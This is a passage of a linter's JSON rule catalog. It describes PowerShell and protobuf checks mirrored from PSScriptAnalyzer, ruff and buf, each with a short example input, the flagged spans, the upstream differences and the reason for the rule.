          {
            "column": 1,
            "length": 25,
            "line": 33
          },
          {
            "column": 18,
            "length": 6,
            "line": 34
          }
        ]
      },
      "fix": null,
      "id": "no-automatic-variable-assignment",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidAssignmentToAutomaticVariable",
          "note": "The report is at the start of the parameter (its attributes included), the module's at the variable, so a parameter with attributes on earlier lines differs in the line.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidassignmenttoautomaticvariable"
        }
      ],
      "why": "Automatic variables are set by PowerShell, so an assignment is overwritten or is refused, and a parameter with the same name hides the value that other code expects (`$input`, `$Host`). The code reads as if it set something that it does not.\n\nTo fix, use another name."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a command written with one of the default aliases of Windows PowerShell and PowerShell 7 (`gci`, `ls`, `%`, `?`, `iex` and so on). The table is the one of a Windows host.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "gci -Recurse | % { $_ }\nGet-ChildItem | ? Name -eq x\nls\n1..3 | %{ $_ }\nGet-ChildItem | Where-Object { $_ } | foreach { $_ }\n$x = dir\nWrite-Output ls\n& ls -la\n& Get-ChildItem\n",
        "language": "powershell",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 3,
            "line": 1
          },
          {
            "column": 16,
            "length": 1,
            "line": 1
          },
          {
            "column": 17,
            "length": 1,
            "line": 2
          },
          {
            "column": 1,
            "length": 2,
            "line": 3
          },
          {
            "column": 8,
            "length": 1,
            "line": 4
          },
          {
            "column": 39,
            "length": 7,
            "line": 5
          },
          {
            "column": 6,
            "length": 3,
            "line": 6
          },
          {
            "column": 1,
            "length": 1,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "no-cmdlet-aliases",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingCmdletAliases",
          "note": "The table is fixed (a Windows host's); PSScriptAnalyzer reads the aliases of the host it runs on, so on Linux `ls` and `cat` are not aliases there, and user-defined aliases are not known. No fix that expands the alias. `& ls` is reported at the `&`.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingcmdletaliases"
        }
      ],
      "why": "Aliases are for typing at a prompt. In a script they are less readable (`%` and `?` are not words), may be absent or mean another command on a platform (`ls` is the native command on Linux), and users can redefine them.\n\nTo fix, write the full name of the cmdlet."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `[switch]` parameter with the default value `$true`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          4,
          10,
          11,
          19,
          20,
          21,
          22,
          24,
          25,
          27,
          29,
          33,
          34
        ],
        "spans": [
          {
            "column": 9,
            "length": 22,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-default-true-switch",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidDefaultValueSwitchParameter",
          "note": "Other values that evaluate to true (`= 1`) are not reported.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoiddefaultvalueswitchparameter"
        }
      ],
      "why": "A switch is present or absent, and the caller turns it on by naming it. A switch that is on by default can be turned off only with the odd form `-Name:$false`.\n\nTo fix, invert the meaning, with a name for the opposite (`-NoLog` for `-Log`)."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a call of one of the `calls` that run a string as code, on the call. Each language lists its calls in its grammar's `rule` row.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Write-Host \"hi\"\nwrite-host\nWrite-Output \"ok\"\nGet-Help Write-Host\niex $script\nInvoke-Expression -Command $c\nConvertTo-SecureString $p -AsPlainText -Force\nConvertTo-SecureString $p\nConvertTo-SecureString `\n    $p -AsPlainText\nGet-WmiObject Win32_Process\nGet-CimInstance Win32_Process\nConvertTo-SecureString -AsPlainText \"x\" -Force\nfunction Get-Other { Write-Host \"y\" }\nfunction Get-It {\n  [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n  param()\n  Write-Host \"x\"\n}\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\nclass Quiet\n{\n    [void] Say() { Write-Host \"x\" }\n}\nclass Mixed {\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n    [void] Say() { Write-Host \"x\" }\n    [void] Also() { Write-Host \"y\" }\n}\n",
        "language": "powershell",
        "other_lines": [
          1,
          2,
          7,
          9,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 11,
            "line": 5
          },
          {
            "column": 1,
            "length": 29,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-eval",
      "languages": [
        "powershell",
        "python"
      ],
      "options": [
        {
          "default": [
            "Invoke-Expression",
            "iex"
          ],
          "description": "Calls that run a string as code",
          "name": "calls",
          "type": "list"
        }
      ],
      "presets": [
        "powershell/psscriptanalyzer",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingInvokeExpression",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusinginvokeexpression"
        },
        {
          "id": "S102",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/S102/"
        }
      ],
      "why": "Code that is built from a string runs with all the rights of the program, so any part of the string that comes from outside is a way to run commands on the machine. It is also hard to read and not checked by the tools that analyse the program.\n\nTo fix, use a parser for the data (`json.loads`), a lookup table, or a function."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a variable in the `global:` scope, other than the special variables that PowerShell and its tools use (`$global:LASTEXITCODE`, `$global:ErrorActionPreference`, `$global:PSDefaultParameterValues` and so on).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          4,
          7,
          10,
          11,
          19,
          24,
          25,
          27,
          29,
          33,
          34
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 20
          },
          {
            "column": 6,
            "length": 13,
            "line": 21
          },
          {
            "column": 27,
            "length": 11,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "no-global-vars",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidGlobalVars",
          "note": "Variables inside strings, and `Get-Variable -Scope Global`, are not looked at.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidglobalvars"
        }
      ],
      "why": "A global variable is shared by everything in the session, including other modules and the user's own commands. Two scripts that use the same name change each other's state, and the value is hard to trace to where it was set.\n\nTo fix, pass values as parameters, or use a `script:` variable."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a backtick that is followed by blanks before the end of the line.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Get-ChildItem `  \n    -Force `\n    -Name\n$x = 1 + `\t\n    2\n",
        "language": "powershell",
        "other_lines": [],
        "spans": [
          {
            "column": 15,
            "length": 1,
            "line": 1
          },
          {
            "column": 10,
            "length": 1,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-misleading-backtick",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "PSMisleadingBacktick",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/misleadingbacktick"
        }
      ],
      "why": "The backtick continues a line only when it is the last character. With a space after it, the backtick escapes the space, the line is not continued, and the next line runs as a separate command. The space is invisible in an editor.\n\nTo fix, remove the blanks after the backtick, or avoid the backtick with splatting or a bracketed expression."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a `[string]` parameter whose name contains `password`, `passphrase` or `cred`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          1,
          7,
          10,
          11,
          19,
          20,
          21,
          22,
          24,
          25,
          27,
          29,
          33
        ],
        "spans": [
          {
            "column": 9,
            "length": 17,
            "line": 3
          },
          {
            "column": 9,
            "length": 52,
            "line": 4
          },
          {
            "column": 26,
            "length": 19,
            "line": 34
          }
        ]
      },
      "fix": null,
      "id": "no-plain-text-password",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingPlainTextForPassword",
          "note": "`SuppressMessageAttribute` is not honored (see the scope).",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingplaintextforpassword"
        }
      ],
      "why": "A `[string]` stays in memory as clear text and is easy to log or to show in history and transcripts. `[SecureString]` and `[PSCredential]` keep the secret protected and make the cmdlet fit with the credential handling of other commands.\n\nTo fix, take a `[SecureString]` or a `[PSCredential]`."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a call of `ConvertTo-SecureString` with `-AsPlainText`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Write-Host \"hi\"\nwrite-host\nWrite-Output \"ok\"\nGet-Help Write-Host\niex $script\nInvoke-Expression -Command $c\nConvertTo-SecureString $p -AsPlainText -Force\nConvertTo-SecureString $p\nConvertTo-SecureString `\n    $p -AsPlainText\nGet-WmiObject Win32_Process\nGet-CimInstance Win32_Process\nConvertTo-SecureString -AsPlainText \"x\" -Force\nfunction Get-Other { Write-Host \"y\" }\nfunction Get-It {\n  [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n  param()\n  Write-Host \"x\"\n}\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\nclass Quiet\n{\n    [void] Say() { Write-Host \"x\" }\n}\nclass Mixed {\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n    [void] Say() { Write-Host \"x\" }\n    [void] Also() { Write-Host \"y\" }\n}\n",
        "language": "powershell",
        "other_lines": [
          1,
          2,
          5,
          6,
          11,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 22,
            "line": 7
          },
          {
            "column": 1,
            "length": 22,
            "line": 9
          },
          {
            "column": 1,
            "length": 22,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "no-plain-text-secure-string",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingConvertToSecureStringWithPlainText",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingconverttosecurestringwithplaintext"
        }
      ],
      "why": "It turns a clear-text string into a `SecureString`, and the clear text is in the script, the history and the logs already. The protection is only in name.\n\nTo fix, read the secret as a `SecureString` (`Read-Host -AsSecureString`, a vault or `Get-Credential`)."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of one of the `calls` that write to the console, unless an argument matching `redirect` sends the output elsewhere and none matching `console` sends it back to the console. Each language lists its calls and the two patterns in its grammar's `rule` row.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Write-Host \"hi\"\nwrite-host\nWrite-Output \"ok\"\nGet-Help Write-Host\niex $script\nInvoke-Expression -Command $c\nConvertTo-SecureString $p -AsPlainText -Force\nConvertTo-SecureString $p\nConvertTo-SecureString `\n    $p -AsPlainText\nGet-WmiObject Win32_Process\nGet-CimInstance Win32_Process\nConvertTo-SecureString -AsPlainText \"x\" -Force\nfunction Get-Other { Write-Host \"y\" }\nfunction Get-It {\n  [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n  param()\n  Write-Host \"x\"\n}\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\nclass Quiet\n{\n    [void] Say() { Write-Host \"x\" }\n}\nclass Mixed {\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n    [void] Say() { Write-Host \"x\" }\n    [void] Also() { Write-Host \"y\" }\n}\n",
        "language": "powershell",
        "other_lines": [
          5,
          6,
          7,
          9,
          11,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 15,
            "line": 1
          },
          {
            "column": 1,
            "length": 10,
            "line": 2
          },
          {
            "column": 22,
            "length": 14,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "no-print",
      "languages": [
        "powershell",
        "python"
      ],
      "options": [
        {
          "default": [
            "Write-Host"
          ],
          "description": "Calls that print",
          "name": "calls",
          "type": "list"
        },
        {
          "default": "\\b\\B",
          "description": "An argument that sends the output elsewhere",
          "name": "redirect",
          "type": "string"
        },
        {
          "default": "\\b\\B",
          "description": "An argument that sends the output to the console",
          "name": "console",
          "type": "string"
        }
      ],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingWriteHost",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingwritehost"
        },
        {
          "id": "T201",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/T201/"
        },
        {
          "id": "T203",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/T203/"
        }
      ],
      "why": "A print call is usually debugging that was left in. It cannot be turned off by configuration, has no level or timestamp and ends up on the wrong stream in a service, where a logger is configured and read.\n\nTo fix, use the project's logger, or delete the call."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a call of `Get-WmiObject`, `Invoke-WmiMethod`, `Register-WmiEvent`, `Remove-WmiObject` or `Set-WmiInstance`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "Write-Host \"hi\"\nwrite-host\nWrite-Output \"ok\"\nGet-Help Write-Host\niex $script\nInvoke-Expression -Command $c\nConvertTo-SecureString $p -AsPlainText -Force\nConvertTo-SecureString $p\nConvertTo-SecureString `\n    $p -AsPlainText\nGet-WmiObject Win32_Process\nGet-CimInstance Win32_Process\nConvertTo-SecureString -AsPlainText \"x\" -Force\nfunction Get-Other { Write-Host \"y\" }\nfunction Get-It {\n  [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n  param()\n  Write-Host \"x\"\n}\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\nclass Quiet\n{\n    [void] Say() { Write-Host \"x\" }\n}\nclass Mixed {\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute(\"PSAvoidUsingWriteHost\", \"\")]\n    [void] Say() { Write-Host \"x\" }\n    [void] Also() { Write-Host \"y\" }\n}\n",
        "language": "powershell",
        "other_lines": [
          1,
          2,
          5,
          6,
          7,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 13,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "no-wmi-cmdlets",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSAvoidUsingWMICmdlet",
          "partial": false,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/avoidusingwmicmdlet"
        }
      ],
      "why": "The WMI cmdlets are not in PowerShell 7 and later. The CIM cmdlets (`Get-CimInstance`, `Invoke-CimMethod`) do the same work on Windows, use the newer remoting protocol, and are in both editions.\n\nTo fix, use the CIM cmdlet of the same job."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `-eq` or `-ne` comparison (or a case variant, as `-ceq`) with `$null` on the right.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Fetch-Data {\n    param(\n        [string]$Password,\n        [Parameter(Mandatory)][string] $UserPassphrase = 'x',\n        [securestring]$Secret,\n        [string]$Name,\n        [switch]$Force = $true,\n        [switch]$Quiet\n    )\n    try { Get-Item x } catch { }\n    try { Get-Item x } catch {\n        # ignored\n    }\n    try { Get-Item x } catch { Write-Error $_ }\n    try { 1 } catch { try { 2 } catch { throw } }\n}\nfunction Get-Thing { }\nfunction Fetch { }\nfunction global:Make-Thing { }\n$global:count = 1\n$x = $global:count + 1\nSet-Item $env:Path -Value $Global:Foo\n$script:count = 1\n$input = 1\n$true = 0\n$count = 1\n$x -eq $null\n$null -eq $x\nif ($a -ne $null -and $b -ceq $null) { }\n$x -eq $nullable\n$null = 1\n$global:LASTEXITCODE = 1\nforeach ($Event in 1) { }\nfunction Show-It($Error, [string]$Credential) { }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          4,
          7,
          10,
          11,
          19,
          20,
          21,
          22,
          24,
          25,
          33,
          34
        ],
        "spans": [
          {
            "column": 1,
            "length": 12,
            "line": 27
          },
          {
            "column": 5,
            "length": 12,
            "line": 29
          },
          {
            "column": 23,
            "length": 13,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "null-comparison-side",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSPossibleIncorrectComparisonWithNull",
          "note": "The module does not report a left operand it knows to be a scalar (a parameter or variable of a non-array type); Sudsy has no types, so `[string]$a` ... `$a -eq $null` is reported. A comparison whose expression also holds `-and`, `-or` or `-xor` at the same level is skipped (the expression is not split). No fix that swaps the operands.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/possibleincorrectcomparisonwithnull"
        }
      ],
      "why": "When the left side is an array, `-eq` and `-ne` filter it and return the elements: `@(1, 2) -eq $null` is an empty array and `@(1, 2) -ne $null` is the whole array. The test does not say whether the value itself is `$null`.\n\nTo fix, write `$null` on the left: `$null -eq $x`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports a function or script block with a parameter that has `ValueFromPipeline` or `ValueFromPipelineByPropertyName` and no `process` block. A `filter` counts as having one.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Remove-Thing { }\nfunction Set-Thing { [CmdletBinding(SupportsShouldProcess)] param() }\nfunction Stop-Thing { [CmdletBinding(SupportsShouldProcess = $false)] param() }\nfunction Get-Thing { }\nfunction global:New-Thing { }\nfunction Get-Items { }\nfunction Get-Status { }\nfunction Get-Address { }\nfunction Get-Alias { }\nfunction Get-Series { }\nfunction Get-Name {\n    param([Parameter(ValueFromPipeline)]$Item)\n    $Item\n}\nfunction Get-Name2 {\n    param([Parameter(ValueFromPipeline)]$Item)\n    process { $Item }\n}\nfilter Get-Name3 { param([Parameter(ValueFromPipeline)]$Item) $Item }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          6
        ],
        "spans": [
          {
            "column": 41,
            "length": 5,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "process-block-for-pipeline",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSUseProcessBlockForPipelineCommand",
          "note": "A `process` block anywhere in the function text counts, a nested one too.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/useprocessblockforpipelinecommand"
        }
      ],
      "why": "Without a `process` block the body runs once, after the pipeline has finished, and sees only the last object that came in. The others are lost.\n\nTo fix, put the work in `process { }`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a function named `Verb-Nouns` whose noun ends in `s`. A noun that ends in `ss`, `us`, `is` or `as` (`Status`, `Address`, `Analysis`, `Alias`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Remove-Thing { }\nfunction Set-Thing { [CmdletBinding(SupportsShouldProcess)] param() }\nfunction Stop-Thing { [CmdletBinding(SupportsShouldProcess = $false)] param() }\nfunction Get-Thing { }\nfunction global:New-Thing { }\nfunction Get-Items { }\nfunction Get-Status { }\nfunction Get-Address { }\nfunction Get-Alias { }\nfunction Get-Series { }\nfunction Get-Name {\n    param([Parameter(ValueFromPipeline)]$Item)\n    $Item\n}\nfunction Get-Name2 {\n    param([Parameter(ValueFromPipeline)]$Item)\n    process { $Item }\n}\nfilter Get-Name3 { param([Parameter(ValueFromPipeline)]$Item) $Item }\n",
        "language": "powershell",
        "other_lines": [
          1,
          3,
          12
        ],
        "spans": [
          {
            "column": 10,
            "length": 9,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "singular-nouns",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSUseSingularNouns",
          "note": "The module asks an English pluralizer; Sudsy takes a noun ending in `s` as plural unless it ends in `ss`, `us`, `is`, `as` or is `News`, `Series`, `Species`, `Data`.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/usesingularnouns"
        }
      ],
      "why": "The Microsoft guidelines name the noun in the singular, even when the command returns many objects, so that users can guess names and the names look the same in every module.\n\nTo fix, use the singular noun."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a function whose name has the verb `New`, `Set`, `Remove`, `Start`, `Stop`, `Restart`, `Reset` or `Update` and whose text has no `SupportsShouldProcess`, or has `SupportsShouldProcess = $false`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function Remove-Thing { }\nfunction Set-Thing { [CmdletBinding(SupportsShouldProcess)] param() }\nfunction Stop-Thing { [CmdletBinding(SupportsShouldProcess = $false)] param() }\nfunction Get-Thing { }\nfunction global:New-Thing { }\nfunction Get-Items { }\nfunction Get-Status { }\nfunction Get-Address { }\nfunction Get-Alias { }\nfunction Get-Series { }\nfunction Get-Name {\n    param([Parameter(ValueFromPipeline)]$Item)\n    $Item\n}\nfunction Get-Name2 {\n    param([Parameter(ValueFromPipeline)]$Item)\n    process { $Item }\n}\nfilter Get-Name3 { param([Parameter(ValueFromPipeline)]$Item) $Item }\n",
        "language": "powershell",
        "other_lines": [
          6,
          12
        ],
        "spans": [
          {
            "column": 10,
            "length": 12,
            "line": 1
          },
          {
            "column": 10,
            "length": 10,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "supports-should-process",
      "languages": [
        "powershell"
      ],
      "options": [],
      "presets": [
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "PSUseShouldProcessForStateChangingFunctions",
          "note": "The verbs are the module's (`New`, `Set`, `Remove`, `Start`, `Stop`, `Restart`, `Reset`, `Update`); the attribute is looked for in the whole text of the function, nested functions included.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/useshouldprocessforstatechangingfunctions"
        }
      ],
      "why": "A command that changes something is expected to accept `-WhatIf` and `-Confirm`, so a user can see what it would do first. Without `SupportsShouldProcess`, they are not available and the user must run it to find out.\n\nTo fix, add `[CmdletBinding(SupportsShouldProcess)]` and call `$PSCmdlet.ShouldProcess(...)` before the change."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an enum whose first value is not 0. Proto3 and editions with open enums require it; proto2 files (also those with no `syntax`) are checked only with the `proto2` option.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto2\";\n\npackage acme.v1;\n\nenum Good {\n  GOOD_UNSPECIFIED = 0;\n  GOOD_ONE = 1;\n}\n\nenum FirstNotZero {\n  FIRST_NOT_ZERO_ONE = 1;\n  FIRST_NOT_ZERO_UNSPECIFIED = 0;\n}\n\nenum NoSuffix {\n  NO_SUFFIX_NONE = 0;\n  NO_SUFFIX_ONE = 1;\n}\n\nenum HTTPCode {\n  HTTP_CODE_UNSPECIFIED = 0;\n  OTHER_PREFIX = 1;\n}\n\nenum Aliased {\n  option allow_alias = true;\n  ALIASED_UNSPECIFIED = 0;\n  ALIASED_NONE = 0;\n}\n",
        "language": "protobuf",
        "other_lines": [
          16,
          22,
          26,
          28
        ],
        "spans": [
          {
            "column": 24,
            "length": 1,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "enum-first-value-zero",
      "languages": [
        "protobuf"
      ],
      "options": [
        {
          "default": false,
          "description": "Check proto2 files too, as buf does.",
          "name": "proto2",
          "type": "bool"
        }
      ],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_FIRST_VALUE_ZERO",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_first_value_zero"
        }
      ],
      "why": "In proto3 the default of an enum field is the first value, and the value that a reader sees when the field is not set. It has to be 0, and a first value that means something real (`ACTIVE = 1` and a hidden 0) makes unset data look valid.\n\nTo fix, make the first value 0 and name it for \"not set\"."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `option allow_alias = true;` in an enum.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "syntax = \"proto2\";\n\npackage acme.v1;\n\nenum Good {\n  GOOD_UNSPECIFIED = 0;\n  GOOD_ONE = 1;\n}\n\nenum FirstNotZero {\n  FIRST_NOT_ZERO_ONE = 1;\n  FIRST_NOT_ZERO_UNSPECIFIED = 0;\n}\n\nenum NoSuffix {\n  NO_SUFFIX_NONE = 0;\n  NO_SUFFIX_ONE = 1;\n}\n\nenum HTTPCode {\n  HTTP_CODE_UNSPECIFIED = 0;\n  OTHER_PREFIX = 1;\n}\n\nenum Aliased {\n  option allow_alias = true;\n  ALIASED_UNSPECIFIED = 0;\n  ALIASED_NONE = 0;\n}\n",
        "language": "protobuf",
        "other_lines": [
          11,
          16,
          22,
          28
        ],
        "spans": [
          {
            "column": 3,
            "length": 26,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "enum-no-allow-alias",
      "languages": [
        "protobuf"
      ],
      "options": [],
      "presets": [
        "protobuf/buf-standard"
      ],
      "upstream": [
        {
          "id": "ENUM_NO_ALLOW_ALIAS",
          "partial": false,
          "tool": "buf",
          "url": "https://buf.build/docs/lint/rules/#enum_no_allow_alias"
        }
      ],
      "why": "Aliases give two names to one number. A value read from the wire becomes one of the names, which one depends on the generator, so the name in the code is not stable, and JSON output shows one of them.\n\nTo fix, give each value its own number, and remove the option."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an enum name that is not PascalCase.",
      "example": {
        "config": null,
        "fixed": null,
